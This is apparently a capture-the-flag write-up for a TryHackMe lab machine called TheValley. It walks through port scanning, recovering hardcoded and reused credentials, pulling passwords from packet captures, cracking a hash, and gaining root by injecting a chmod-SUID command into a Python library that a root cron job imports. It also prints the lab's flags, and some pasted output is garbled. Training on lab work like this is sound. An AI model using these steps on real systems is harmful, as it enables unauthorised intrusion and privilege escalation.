TheValley

Enumeration

Nmap

```
— (kali⊛kali)-[~]

—$ sudo nmap -p- --min-rate 5000 -Pn 10.10.231.45
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-11 15:16 EDT
Nmap scan report for 10.10.231.45
Host is up (0.19s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
37370/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 13.82 seconds
```

```
___(kali⊛kali)-[~]
└$ sudo nmap -sV -sC -A -Pn -p 22,80,37370 10.10.231.45
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-11 15:16 EDT
Nmap scan report for 10.10.231.45
Host is up (0.19s latency).
PORT
         STATE SERVICE VERSION
22/tcp
         open ssh
                       OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
3072 c2842ac1225a10f16616dda0f6046295 (RSA)
256 429e2ff63e5adb51996271c48c223ebb (ECDSA)
|_ 256 2ea0a56cd983e0016cb98a609b638672 (ED25519)
80/tcp
         open http
                       Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
37370/tcp open ftp
                       vsftpd 3.0.3
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1
closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera
(Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG
FTTH gateway (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%),
Linux 3.11 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
```

```
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS
1 206.84 ms 10.8.0.1
2 206.92 ms 10.10.231.45

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.

Nmap done: 1 IP address (1 host up) scanned in 19.10 seconds
```

Dir Scan

```
┌──(kali⊛kali)-[~/wordlists]
└─$ gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --no-erro
r -t 40 -u http://10.10.231.45
______
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
______
[+] Url:
                     http://10.10.231.45
[+] Method:
[+] Threads:
                     /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Wordlist:
[+] Negative Status codes: 404
                     gobuster/3.5
[+] User Agent:
[+] Timeout:
                     10s
______
2023/07/11 15:17:16 Starting gobuster in directory enumeration mode
______
/gallery
                (Status: 301) [Size: 314] [--> http://10.10.231.45/gallery/]
/static
                (Status: 301) [Size: 313] [--> http://10.10.231.45/static/]
                (Status: 301) [Size: 314] [--> http://10.10.231.45/pricing/]
/pricing
```

/gallery/gallery.html

```
<div class="gallery">
  <a target="_blank" href="/static/3">
     <img src="/static/3" alt="3" width="1200" height="800">
     </a>
  <div class="desc">Picture taken of Blue lake at sunset</div>
</div>
```

Vulnerabilities Assessment

Log in ftp require the password

```
(kali@kali)-[~/TryHackMe]

$ ftp 10.10.231.45 -P 37370

Connected to 10.10.231.45.

220 (vsFTPd 3.0.3)

Name (10.10.231.45:kali): kali

331 Please specify the password.

Password:

530 Login incorrect.

ftp: Login failed

ftp> quit

221 Goodbye.
```

Go around and try with **numbers** on the /static/ variable where the images in **gallery** are placed and found this hidden directory

```
r—(kali®kali)-[~/TryHackMe/TheValley]

L$ curl http://10.10.231.45/static/00
dev notes from valleyDev:
-add wedding photo examples
-redo the editing on #4
-remove /dev1243224123123
-check for SIEM alerts
```

The note reminds the developer to remove the directory

/dev12343224123123 → Figure out is it removed or existed?

```
<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>Login</title>
 <link rel="stylesheet" href="style.css">
 <script defer src="dev.js"></script>
 <script defer src="button.js"></script>
</head>
<body>
 <main id="main-holder">
   <h1 id="login-header">Valley Photo Co. Dev Login</h1>
   <div id="login-error-msg-holder">
     Invalid username <span id="error-msg-second-line">and/or pas
sword</span>
   </div>
   <form id="login-form">
     <input type="text" name="username" id="username-field" class="login-form-field" plac</pre>
eholder="Username">
     <input type="password" name="password" id="password-field" class="login-form-field"</pre>
placeholder="Password">
     <input type="submit" value="Login" id="login-form-submit">
   </form>
   <button id="homeButton">Back to Homepage/button>
 </main>
</body>
</html>
```

It's still here! View the source code of dev.js and found this **Login** function:

```
loginButton.addEventListener("click", (e) => {
    e.preventDefault();
    const username = loginForm.username.value;
    const password = loginForm.password.value;

if (username === "siemDev" && password === "california") {
        window.location.href = "/dev1243224123123/devNotes37370.txt";
    } else {
        loginErrorMsg.style.opacity = 1;
    }
})
```

Use the above creds to login and the application would route to the devNotes37370.txt which might contain information about the **vsftpd** service that we have logged in failed since the above steps

Notice on the first line in the note "stop reusing credentials" \rightarrow The ftp service is using the same creds with this login form \rightarrow Try out!

Gain Access

```
(kali@kali)-[~/TryHackMe]

$\ftp 10.10.231.45 -P 37370

Connected to 10.10.231.45.

220 (vsFTPd 3.0.3)

Name (10.10.231.45:kali): siemDev

331 Please specify the password.

Password: california

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.
```

We have login success → Figure out what are placing in the current location

```
ftp> ls
229 Entering Extended Passive Mode (|||17429|)
150 Here comes the directory listing.
-rw-rw-r-- 1 1000 1000 7272 Mar 06 13:55 siemFTP.pcapng
-rw-rw-r-- 1 1000 1000 1978716 Mar 06 13:55 siemHTTP1.pcapng
-rw-rw-r-- 1 1000 1000 1972448 Mar 06 14:06 siemHTTP2.pcapng
226 Directory send OK.
```

Transfer them to the local machine for analyzing

Use strings to extract the data from these files and using grep to filter the output related to creds such as pass, user, username, ssh,...

```
──(kali@kali)-[~/TryHackMe/TheValley]
└─$ strings siemHTTP2.pcapng| grep "name"
uname=valleyDev&psw=ph0t0s1234&remember=on
```

Despite of the port 37370 running **vsftpd** service and port 80 running **httpd**, the only left port 22 is running SSH. Use the above creds to try to login through SSH service

```
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-139-generic x86_64)

* Documentation: https://help.ubuntu.com

* Management: https://landscape.canonical.com

* Support: https://ubuntu.com/advantage

* Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

   https://ubuntu.com/pro
valleyDev@valley:~$ id
uid=1002(valleyDev) gid=1002(valleyDev) groups=1002(valleyDev)
```

Get the flag:

```
valleyDev@valley:~$ ls
user.txt
valleyDev@valley:~$ cat user.txt
THM{k@l1_1n_th3_v@lley}
```

Privilege Escalation → **valley**

Navigate to /home directory:

```
valleyDev@valley:/home$ ls
siemDev valley valleyAuthenticator valleyDev
valleyDev@valley:/home$ ls -l
total 744
drwxr-x--- 4 siemDev siemDev 4096 Mar 20 20:03 siemDev
drwxr-x--- 16 valley valley 4096 Mar 20 20:54 valley
```

```
-rwxrwxr-x 1 valley valley 749128 Aug 14 2022 valleyAuthenticator
drwxr-xr-x 5 valleyDev valleyDev 4096 Mar 13 08:17 valleyDev
```

There is a executable file named valleyAuthenticator

Transfer the file to the local machine for analyzing:

1. Open port on target machine

```
valleyDev@valley:/home$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

2. Use curl or wget to get the file:

Use strings again to view the extract data and found these lines

```
-^;x&
e6722920bab2326f8217e4
bf6b1b58ac
ddJ1cc76ee3
beb60709056cfb0W
elcome to Valley Inc. Authentica
[k0rHh
  is your usernad
Ol: /passwXd.{
    ~{edJrong P=
    sL_striF::_M_M
    v0ida%02x0
```

Concatenate and split the string then use **hash-identifier** until it identifies the string as a hash which could be cracked:

```
| Contact | Cont
```

Use hashcat or any cracking tools to crack the hash → Get the output:

```
e6722920bab2326f8217e4bf6b1b58ac:liberty123
```

Use the above output as the password to login as user valley

```
valleyDev@valley:/home$ su valley
Password:
valley@valley:/home$ id
uid=1000(valley) gid=1000(valley) groups=1000(valley),1003(valleyAdmin)
```

Now it seem we have more permission than before to exploit the machine and become root user to get the final flag

Privilege Escalation → **root**

```
valleyDev@valley:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
```

```
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr
# Example of job definition:
# .----- minute (0 - 59)
# | .----- hour (0 - 23)
# | | .----- day of month (1 - 31)
# | | .----- month (1 - 12) OR jan, feb, mar, apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | |
                      * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cro
n.daily )
                 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cro
47 6
n.weekly )
52 6 1 * *
                                               root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cro
n.monthly )
1 * * * *
                                               root python3 /photos/script/photosEncrypt.py
```

The /etc/crontab shows us that the system automatically execute the file photosEncrypt.py by **python3** as root privilege → Read the file content first

```
#!/usr/bin/python3
import base64
for i in range(1,7):
# specify the path to the image file you want to encode
    image_path = "/photos/p" + str(i) + ".jpg"

# open the image file and read its contents
    with open(image_path, "rb") as image_file:
        image_data = image_file.read()

# encode the image data in Base64 format
        encoded_image_data = base64.b64encode(image_data)

# specify the path to the output file
        output_path = "/photos/photoVault/p" + str(i) + ".enc"

# write the Base64-encoded image data to the output file
        with open(output_path, "wb") as output_file:
        output_file.write(encoded_image_data)
```

The file convert the data from <code>.jpg</code> files to <code>.enc</code> files with <code>base64</code> encoding.

Unfortunately, we don't have the permission to modify the file. However, there is another

thing that might be exploited which is base64 imported module:

Checking the permission on the file module and luckily the file is writable → Inject it by using the os.system to change the access mode (chmod) of the file with SUID permission

```
valley@valley:/home$ echo "import os;os.system('chmod u+s /bin/bash')" > /usr/lib/python3.
8/base64.py
```

Wait for a second and check the injected service /bash whether it has suid permission

```
valley@valley:/home$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
```

Execute it and become root user → Flag is our now!

```
valley@valley:/home$ /bin/bash -p
bash-5.0# id
uid=1000(valley) gid=1000(valley) euid=0(root) groups=1000(valley),1003(valleyAdmin)
bash-5.0# whoami
root
bash-5.0# ls
root.txt snap
bash-5.0# cat root.txt
THM{v@lley_0f_th3_sh@d0w_0f_pr1v3sc}
```